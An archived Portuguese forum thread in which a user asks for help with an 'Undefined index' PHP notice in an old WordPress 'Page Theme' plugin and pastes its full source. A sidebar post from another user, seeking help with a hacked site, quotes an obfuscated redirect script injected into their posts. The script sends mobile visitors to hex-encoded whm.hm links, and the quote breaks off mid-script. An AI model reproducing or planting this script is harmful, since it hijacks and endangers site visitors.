Ir para conteúdo

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

RodrigoNeves12k

Notice: Undefined index: disppages in

Recommended Posts

A página Home esta apontando o seguinte erro Notice: Undefined index: disppages in  nesse arquivo abaixo na linha  on line 117 e outra página esta apontando um erro no mesmo arquivo, so que na linha 31. Os sois estão marcados em vermelho no codigo, não consegui descobrir o que há de errado, podem me ajudar?

 

<?php
/*
Plugin Name: Page Theme
Plugin URI: http://wordpress.org/extend/plugins/page-theme/
Description: Per-page, per-post theme selection. Works with both SEO and non-SEO permalinks.
Version: 3.5
Author: Chris Ravenscroft
Author URI: http://nexus.zteo.com
*/

/* GPL License */

if (!function_exists('plugin_dir_url')) {
    function plugin_dir_url($file) {
        if (!function_exists('plugins_url')) {
            return trailingslashit(get_option('siteurl') . '/wp-content/plugins/' . plugin_basename($file));
        }
        return trailingslashit(plugins_url(plugin_basename(dirname($file))));
    }
}

if(!empty($_GET['pcompaction'])) {
    new PCompAction($_GET['pcompaction']);
    exit;
}

$ruri = $_SERVER['REQUEST_URI'];

if(strlen($ruri) >= 2) {
    $pageId = false;
    list($first, $second) = explode('?', $ruri);
    if(!empty($second)) {
        $fragments = explode('&', substr($ruri, ($p + 1)));
        foreach($fragments as $fragment) {
            $bits = explode('=', $fragment);
            if($bits[0] == 'p' || $bits[0] == 'page') {
                $pageId = intval($bits[1]);
                break;
            }
        }
    }
    if(false !== $pageId) {
        $pageTheme = new PageTheme($pageId);
    }
    else {
        $c = strlen($first) - 2;
        while($c > 0 && $first{$c} != '/') $c--;
        $pageTheme = new PageTheme(strtolower(str_replace('/', '', substr($first, $c))));
    }
}
else if($ruri == '/') {
    $pageTheme = new PageTheme('');
}

class PageThemeOptions {

    protected static $instance = false;

    public static function getInstance() {
        if(!self::$instance) {
            self::$instance = new self();
        }
        return self::$instance;
    }

    function getOptions() {
        // Load page option settings
        // Some versions of Wordpress deserialize automatically. WP3.0 doesn't.
        try {
            $options = unserialize(get_option("pageTheme_options"));
        }
        catch(Exception $e) {
            $options = get_option("pageTheme_options");
        }
        
        if (gettype($options)!="array"){
            $options = array();
        }

        return $options;
    }

    function setOptions($options) {
        update_option("pageTheme_options", serialize($options));
    }

    function getDispOptions() {
        try {
            $options = unserialize(get_option("pageTheme_disp_options"));
        }
        catch(Exception $e) {
            $options = get_option("pageTheme_disp_options");
        }
        
        if (gettype($options)!="array"){
            $options = array();
        }

        return $options;
    }

    function setDispOptions($options) {
        update_option("pageTheme_disp_options", serialize($options));
    }
}

class PageThemeAdminManager {

    protected $uri;

    function __construct() {
        $dispOptions = PageThemeOptions::getInstance()->getDispOptions();

        add_action('admin_head', array(&$this,'displayAdminHead'));
        add_action('admin_menu', array(&$this, 'displayAdminMenu'));

        if($dispOptions['disppages']) {
            add_action('manage_pages_columns', array(&$this, 'managePagesColumns'));
            add_action('manage_pages_custom_column', array(&$this, 'managePagesCustomColumn'), 10, 2);
        }

        if($dispOptions['dispposts']) {
            add_action('manage_posts_columns', array(&$this, 'managePostsColumns'));
            add_action('manage_posts_custom_column', array(&$this, 'managePostsCustomColumn'), 10, 2);
        }
    
        // Specify uri for admin panels
        $this->uri = '?page=' . $this->getRightMost(__FILE__, 'plugins/');
    }

    // Common string function
    private function getRightMost($sSrc, $sSrch) {
        for ($i = strlen($sSrc); $i >= 0; $i = $i - 1) {
            $f = strpos($sSrc, $sSrch, $i);
            if ($f !== FALSE) {
               return substr($sSrc,$f + strlen($sSrch), strlen($sSrc));
            }
        }
        return $sSrc;
    }

    function displayAdminHead() {
        wp_enqueue_script('jquery');
        $remoteLoader = get_option('siteurl').'/wp-admin/edit.php?post_type=page&pcompaction=pcomphtml';
        $remoteSave = get_option('siteurl').'/wp-admin/edit.php?post_type=page&pcompaction=pcompsave';
        $loadingHTML = '<img src="'.plugin_dir_url(__FILE__)."loading.gif\" />";
        ?>
        <link rel="stylesheet" href="<?php echo plugin_dir_url(__FILE__) ?>emposha/fcbklistselection.css" type="text/css" media="screen" />
        <script type="text/javascript" src="<?php echo plugin_dir_url(__FILE__) ?>emposha/fcbklistselection.js"></script>
        <script type="text/javascript" language="JavaScript">
        var CCHandler = {
            current_theme_screen_comp: null,
            show_theme_screen: function(comp) {
                if(this.current_theme_screen_comp == comp) {
                    this.current_theme_screen_comp = null;
                    return this;
                }
                this.current_theme_screen_comp = comp;
                if(jQuery(comp).parent().parent().hasClass('alternate')) {
                    var class_str = ' class="alternate"';
                }
                else {
                    var class_str = '';
                }
                jQuery(comp).parent().parent().after(function(index) {
                    return "<tr" + class_str + " id='pcompcurrent'><td colspan='"+columns_count+"'><div id='pcompcontainer'></div></td></tr>"
                });
                var post_id = this.current_theme_screen_comp.id.replace(/ptheme/, '');
                jQuery('#pcompcontainer').html('<?php echo $loadingHTML; ?>').load(
                    '<?php echo $remoteLoader; ?>&post_id=' + post_id, function() {
                    CCHandler.prepare_for_selection();
                });
                return this;
            },
            hide_theme_screen: function() {
                if(this.current_theme_screen_comp != null) {
                    jQuery('#pcompcurrent').remove();
                }
                return this;
            },
            prepare_for_selection: function() {
                jQuery.fcbkListSelection("#fcbklist","300","250","2", function(selected) {
                    var themeSelect = jQuery('#theme')[0];
                    for(var i=0; i<themeSelect.options.length; i++) {
                        if(themeSelect.options.value == selected) {
                            themeSelect.options.selected = true;
                            break;
                        }
                    }
                });
                updateGalleryUsingSelect = function() {
                    var selected = jQuery('#theme option:selected')[0].value;
                    jQuery('#fcbklist').each(function() {
                        jQuery(this).children().each(function() {
                            var myid = jQuery(this)[0].id;
                            if(myid == selected) {
                                var obj = jQuery(jQuery(jQuery(this)[0]).children()[0]);
                                obj.click();
                            }
                        });
                    });
                }
                jQuery('#theme').change(function() {
                    updateGalleryUsingSelect();
                });
                updateGalleryUsingSelect();
                jQuery('#pthemesubmit').click(function() {
                    var selected = jQuery('#theme option:selected')[0].value;
                    var post_id = CCHandler.current_theme_screen_comp.id.replace(/ptheme/, '');
                    jQuery.get(
                        '<?php echo $remoteSave; ?>',
                        {post_id:post_id, theme:selected},
                        function(responseText) {
                            var res = responseText.split("\n");
                            if(res.length != 3) {
                                alert(responseText);
                            }
                            else {
                                jQuery(CCHandler.current_theme_screen_comp).html(
                                    '<img class="pthemepreview" style="border:1px solid lightgray;" align="left" width="32" height="32" src="' + res[2] + "\" />&nbsp;" + res[1] + "\n");
                                CCHandler.hide_theme_screen().show_theme_screen(CCHandler.current_theme_screen_comp);
                            }
                        },
                        'html');
                    return false;
                });
            }
        };
        jQuery(document).ready(function() {
            jQuery.ajaxSetup({cache: false}); // TODO Really?
            jQuery('.pthemebutton').click(function() {
                CCHandler.hide_theme_screen().show_theme_screen(this);
            }).hover(
                function() {
                    this.style.cursor = 'pointer';
                    var thisCopy = this;
                    hover_intent = setTimeout(
                        function() {
                            jQuery(thisCopy).find('.pthemepreview').width(300).height(250);
                        }, 1000);
                },
                function() {
                    try{clearTimeout(hover_intent);} catch(e){}
                    jQuery(this).find('.pthemepreview').width(32).height(32);
                });
        });

        </script>
        <?php
    }

    function displayAdminMenu(){
        // Show up under "Appearance"
        add_theme_page('Page Theme Options', 'Page Theme', 8, __FILE__, array(&$this, 'createAdminPanel'));
    }

    // Create the administration panel
    function createAdminPanel(){
        if ($_GET['action']=="saveSettings"){
            $dispOptions = array(
                'disppages' => (!empty($_POST['pthemedisppages']) ? $_POST['pthemedisppages'] : 0),
                'dispposts' => (!empty($_POST['pthemedispposts']) ? $_POST['pthemedispposts'] : 0),
            );
            PageThemeOptions::getInstance()->setDispOptions($dispOptions);
        }
        else {
            $dispOptions = PageThemeOptions::getInstance()->getDispOptions();
        }

        echo '
            <div class="wrap">
                <div id="icon-themes" class="icon32"><br /></div> 
                <h2>Page-Theme Settings</h2>
                <form name="themeSettings" id="themeSettings" action="'.$this->uri.'&action=saveSettings" method="post">
                    <table class="form-table">
                        <tr>
                            <th scope="row"><strong>Admin Panel</strong></th>
                            <td>
                                <p><label>
                                    <input type="checkbox" name="pthemedisppages" value="1" ' . ($dispOptions['disppages'] ? 'checked' : '') . '/>
                                    Add to "Pages" admin screen
                                    <br /><em>When this option is selected, the "Pages > Pages" admin screen will display an additional column, letting you edit each page\'s theme.</em>
                                </label></p>
                                <p><label>
                                    <input type="checkbox" name="pthemedispposts" value="1" ' . ($dispOptions['dispposts'] ? 'checked' : '') . ' />
                                    Add to "Posts" admin screen
                                    <br /><em>When this option is selected, the "Posts > Posts" admin screen will display an additional column, letting you edit each post\'s theme.</em>
                                </label></p>
                            </td>
                        </tr>
                    </table>
                    <p class="submit"><input type="submit" class="button-primary" name="submit" value="Save Settings" /></p>
                </form>
            </div>

<div id="dashboard-widgets-wrap"> 
    <div id="dashboard-widgets" class="metabox-holder"> 
        <div class="postbox-container">
            <div id="normal-sortables" class="meta-box-sortables">
                <div id="dashboard_right_now" class="postbox "> 
                    <div class="handlediv" title="Click to toggle"><br /></div>
                    <h3 class="hndle"><span>About</span></h3> 
                    <div class="inside" style="padding:8px"> 
                        <p>
                            This plugin lets you select specific themes for selected pages and blog posts. Despite its name, it works with both pages and posts. It also supports both SEO and non-SEO permalinks.
                        </p>
                        <p>
                            After enabling the extra columns for pages and/or posts using this screen, you will be able to select these themes on their respective screens by clicking on each page/post\'s current theme.
                        </p>
                        <p>
                            <strong>Note</strong>: by default, all posts and pages are displayed using the "Default Theme."
                        </p>
                        <hr />
                        <p>
                            <em>This plugin was created by Chris F. Ravenscroft.</em> Need assistance? Visit my blog at <a href="http://nexus.zteo.com" target="_blank">http://nexus.zteo.com</a> or follow me on <a href="http://twitter.com/chrisfr" target="_blank">Twitter</a>.
                        </p>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

        ';
    }

    function managePagesColumns($defaults) {
        return CustomColumnManager::getInstance(CustomColumnManager::PAGE)->enumColumns($defaults);
    }
    
    function managePostsColumns($defaults) {
        return CustomColumnManager::getInstance(CustomColumnManager::POST)->enumColumns($defaults);
    }

    function managePagesCustomColumn($column_name, $page_id) {
        if($column_name != 'ptheme') {
            return;
        }
        CustomColumnManager::getInstance(CustomColumnManager::PAGE)->handleRow($column_name, $page_id);
    }

    function managePostsCustomColumn($column_name, $post_id) {
        if($column_name != 'ptheme') {
            return;
        }
        CustomColumnManager::getInstance(CustomColumnManager::POST)->handleRow($column_name, $post_id);
    }
}

// Four possibilities: 
// - a SEO page, ...../name
// - a non-SEO page, ..../?page_id=n
// - a SEO post, ..../name
// - a non-SEO post, ..../?p=n

class PageThemeThemeSwitcher {

    private $stylesheet;
    private $template;

    function __construct($page) {
        // Get default settings
        $this->stylesheet = get_option("stylesheet");
        $this->template = get_option("template");

        $options = PageThemeOptions::getInstance()->getOptions();
        
        $pAliased = false;
        if($page == '') {
            if(get_option("show_on_front") == 'page') {
                $page = intval(get_option("page_on_front"));
                if($page > 0) {
                    $pAliased = true;
                }
            }
            if(!$pAliased) {
                return;
            }
        }

        $page_id = false;
        if($pAliased) {
            $page_id = $page;
        }
        else if(strncmp($page, '?p=', 3) == 0) {
            $page_id = substr($page, 3);
        }
        else if(strncmp($page, '?page_id=', 9) == 0) {
            $page_id = substr($page, 9);
        }

        if($page_id) {
            foreach($options as $dt){
                if ($page_id==$dt['id']){
                    // Update the settings for the matching page
                    $this->stylesheet = $dt['theme'];
                    $this->template = $dt['theme'];
                }   
            }
        }
        else {
            // Locate the matching index for the current page
            foreach($options as $dt){
                if ($page==$dt['url']){
                    // Update the settings for the matching page
                    $this->stylesheet = $dt['theme'];
                    $this->template = $dt['theme'];
                }   
            }
        }

        add_filter('pre_option_stylesheet', array(&$this, 'getStylesheet'));
        add_filter('pre_option_template', array(&$this, 'getTemplate'));
    }

    function getStylesheet(){
        return $this->stylesheet;
    }

    function getTemplate(){
        return $this->template;
    }
}

class CustomPageColumnHandler {

    protected $options;

    function __construct() {
        $this->options = PageThemeOptions::getInstance()->getOptions();
    }

    function getOptions($id) {
        // Locate the matching index for the current page
        foreach($this->options as $dt){
            if ($dt['id'] == $id){
                // Update the settings for the matching page
                return(
                    array(
                        'stylesheet' => $dt['theme'],
                        'template' => $dt['theme']
                    )
                );
            }   
        }
        return false;
    }
}

class CustomPostColumnHandler {

    protected $options;

    function __construct() {
        $this->options = PageThemeOptions::getInstance()->getOptions();
    }

    function getOptions($id) {
        // Locate the matching index for the current page
        foreach($this->options as $dt){
            if ($dt['id'] == $id){
                // Update the settings for the matching page
                return(
                    array(
                        'stylesheet' => $dt['theme'],
                        'template' => $dt['theme']
                    )
                );
            }   
        }
        return false;
    }
}

class CustomColumnManager {

    const PAGE = 'page';
    const POST = 'post';

    protected static $instances = false;
    protected static $themes = false;
    protected $customColumnHandler = false;

    public static function getInstance($handlerType) {
        if(!self::$instances) {
            self::$instances = array();
            self::$themes = get_themes();
        }
        if(!self::$instances[$handlerType]) {
            switch($handlerType) {
                case self::PAGE:
                    self::$instances[$handlerType] = new self(new CustomPageColumnHandler());
                    break;
                case self::POST:
                    self::$instances[$handlerType] = new self(new CustomPostColumnHandler());
                    break;
                default:
                    throw new Exception('Unknown handler type in CustomColumnManager');
            }
        }
        return self::$instances[$handlerType];
    }

    function __construct($customColumnHandler) {
        $this->customColumnHandler = $customColumnHandler;
    }

    function enumColumns($defaults) {
        $newDefaults = array();
        foreach($defaults as $key => $value) {
            if($key == 'author') {
                $newDefaults['ptheme'] = __('Theme');
            }
            $newDefaults[$key] = $value;
        }
        static $iKnowColumnsCount = false;
        if(!$iKnowColumnsCount) {
            $iKnowColumnsCount = true;
            $columnsCount = count($newDefaults);
            ?>
            <script type="text/javascript" language="JavaScript">
                var columns_count = <?php echo $columnsCount; ?>;
            </script>
            <?php
        }
        return $newDefaults;
    }

    function handleRow($columnName, $pageId) {
        echo "<div id='ptheme".$pageId."' class='pthemebutton'>\n";
        $foundTheme = false;
        $options = $this->customColumnHandler->getOptions($pageId);
        if($options) {
            foreach(self::$themes as $theme){
                if($options['template'] == $theme['Template']) {
                    $foundTheme = true;
                    echo '<img class="pthemepreview" style="border:1px solid lightgray;" align="left" width="32" height="32" src="'.$theme["Theme Root URI"].'/'.$theme["Stylesheet"].'/'.$theme["Screenshot"]."\" />&nbsp;" . $theme['Name'] . "\n";
                }
            }
        }
        if(!$foundTheme) {
            echo '<img style="border:1px solid lightgray;" align="left" width="32" height="32" src="'.plugin_dir_url(__FILE__)."white.png\" />&nbsp;<em>Default Theme</em>\n";
        }
        echo "</div>\n";
    }
}

class PageTheme {   

    function __construct($page){
        new PageThemeThemeSwitcher($page);
        new PageThemeAdminManager();
    }
}       

class PCompAction {

    function __construct($action){
        switch($action) {
            case 'pcomphtml':
                $this->pcomphtml();
                break;
            case 'pcompsave':
                $this->pcompsave();
                break;
        }
    }

    function getPageThemeOptions() {
        return PageThemeOptions::getInstance()->getOptions();
    }

    function getPostByID($id) {
        global $wpdb;
        $pagepost = $wpdb->get_results("SELECT * FROM $wpdb->posts WHERE ID = $id");
        if($pagepost && count($pagepost) == 1) {
            return $pagepost[0];
        }
        else {
            return false;
        }
    }

    function getThemeInfoByTemplate($template) {
        $themes = get_themes();
        foreach($themes as $theme){
            if($theme['Template'] == $template) {
                return $theme;
            }
        }
        return false;
    }

    function pcomphtml() {
        if(empty($_GET['post_id'])) {
            die("Missing parameters");
        }
        $post_id = intval($_GET['post_id']);
        if(!$post_id) {
            die("Invalid post id");
        }
        $currentTheme = false;
        $options = $this->getPageThemeOptions();
        foreach($options as $option) {
            if($option['id'] == $post_id) {
                $currentTheme = $option['theme'];
                break;
            }
        }
        echo '<div class="wrap">
            <h2>Custom Theme</h2>
                <table class="form-table">
                    <tr class="form-field">
                        <th scope="row" valign="top"><label for="theme">Theme</label></th>
                        <td>
                            <select name="theme" id="theme" class="postform" >
            <option value="pthemedefault">[Default]</option>';
                            $themes = get_themes();
                            foreach($themes as $theme){
                                if($theme['Template'] == $currentTheme) {
                                    echo '<option value="'.$theme["Template"].'" selected>'.$theme["Name"].'</option>';
                                }
                                else {
                                    echo '<option value="'.$theme["Template"].'">'.$theme["Name"].'</option>';
                                }
                            }
         echo '             </select>
<ul id="fcbklist">
<li id="pthemedefault"><div style="font-weight:bold;">[Default]</div><img src="' . plugin_dir_url(__FILE__) . 'white.png" /></li>';
        foreach($themes as $theme){
            echo '<li id="'.$theme['Template'].'"><div style="font-weight:bold;">'.$theme["Name"].'</div><img src="'.$theme["Theme Root URI"].'/'.$theme["Stylesheet"].'/'.$theme["Screenshot"]."\" /></li>\n";
        }
        echo '                     </ul>
                                    <br />
                                    Specify the theme to use when the site is accessed by the given page.
                                </td>
                            </tr>
                        </table>
                    <p class="submit"><input type="submit" id="pthemesubmit" class="button" name="submit" value="Set Theme" /></p>
                </div>
        ';
    }

    function pcompsave() {
        if(empty($_GET['post_id']) || empty($_GET['theme'])) {
            die("Missing parameters");
        }
        $post_id = intval($_GET['post_id']);
        if(!$post_id) {
            die("Invalid post id");
        }
        $theme_name = mysql_real_escape_string($_GET['theme']);
        $post = array();
        $post['id']  = $post_id;
        $postInfo = $this->getPostByID($post_id);
        if(!$postInfo) {
            die("Error retrieving post name");
        }
        $post['url'] = strtolower($postInfo->post_name);
        $post['theme'] = $theme_name;
        $options = $this->getPageThemeOptions();
        $newOptions = array();
        foreach($options as $option) {
            if($option['id'] == $post_id) {
                continue;
            }
            array_push($newOptions, $option);
        }
        if($theme_name != 'pthemedefault') {
            array_push($newOptions, $post); // add new option for this post
        }
        PageThemeOptions::getInstance()->setOptions($newOptions);

        if($theme_name != 'pthemedefault') {
            $theme = $this->getThemeInfoByTemplate($theme_name);
            $response = "OK\n" . $theme['Name'] . "\n" . $theme["Theme Root URI"].'/'.$theme["Stylesheet"].'/'.$theme["Screenshot"];
        }
        else {
            $response = "OK\n<em>Default Theme</em>\n".plugin_dir_url(__FILE__)."white.png";
        }
        echo $response;
    }
}

?>
 

Compartilhar este post


Link para o post
Compartilhar em outros sites

  • Conteúdo Similar

    • Por douglas79
      Boa noite,
      primeiramente eu fiz um site num servidor local (Wordpress 5.9), criei uma pasta chamada blog e fiz a transferência via FTP para essa pasta, mas não instalei o Wordpress nativo da hospedagem.. Acessei o painel de controle e criei o banco de dados e importei o BD do phpmyadmin do servidor XAMPP. Daí quando vou acessar o domínio www.guardamunparacambi.info/blog, aparece a mensagem "Erro ao conectar com o banco de dados". O que pode estar acontecendo?
      Preciso de ajuda!
    • Por douglas79
      Boa noite,
      primeiramente eu fiz um site num servidor local (Wordpress 5.9), criei uma pasta chamada blog e fiz a transferência via FTP para essa pasta, mas não instalei o Wordpress nativo da hospedagem.. Acessei o painel de controle e criei o banco de dados e importei o BD do phpmyadmin do servidor XAMPP. Daí quando vou acessar o domínio www.guardamunparacambi.info/blog, aparece a mensagem "Erro ao conectar com o banco de dados". O que pode estar acontecendo?
      Preciso de ajuda!
    • Por douglas79
      Boa noite,
      primeiramente eu fiz um site num servidor local (Wordpress 5.9), criei uma pasta chamada blog e fiz a transferência via FTP para essa pasta, mas não instalei o Wordpress nativo da hospedagem.. Acessei o painel de controle e criei o banco de dados e importei o BD do phpmyadmin do servidor XAMPP. Daí quando vou acessar o domínio www.guardamunparacambi.info/blog, aparece a mensagem "Erro ao conectar com o banco de dados". O que pode estar acontecendo?
      Preciso de ajuda!
    • Por douglas79
      Boa noite,
      primeiramente eu fiz um site num servidor local (Wordpress 5.9), criei uma pasta chamada blog e fiz a transferência via FTP para essa pasta, mas não instalei o Wordpress nativo da hospedagem.. Acessei o painel de controle e criei o banco de dados e importei o BD do phpmyadmin do servidor XAMPP. Daí quando vou acessar o domínio www.guardamunparacambi.info/blog, aparece a mensagem "Erro ao conectar com o banco de dados". O que pode estar acontecendo?
      Preciso de ajuda!
    • Por Chirlison
      Estou com um problema no site e gostaria da ajuda dos colegas para poder solucionar a possível brecha de segurança no site.
      Todas as postagens do site apareceram com um código estranho no final de cada uma delas.
      O código é mostrado apenas dentro do editor classic do wordpress. Na página onde o post é listado o código não é mostrado
      Abaixo segue o código inserido no final de cada uma das postagens do site.
       
      <script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x4d\x4f\x4f\x39\x63\x35','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x75\x6d\x52\x38\x63\x35','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x52\x4a\x51\x35\x63\x37','8SJGLkz','random','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x6a\x71\x4a\x31\x63\x38','7196643rGaMMg','setItem','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x7a\x65\x4f\x32\x63\x30','266801SrzfpD','substr','floor','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x65\x57\x65\x34\x63\x35','3ThLcDl','stopPropagation','_blank','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x6e\x65\x56\x33\x63\x38','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x71\x66\x69\x30\x63\x35'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x6b\x4a\x72\x36\x63\x37','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x52\x74\x75\x37\x63\x39',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const 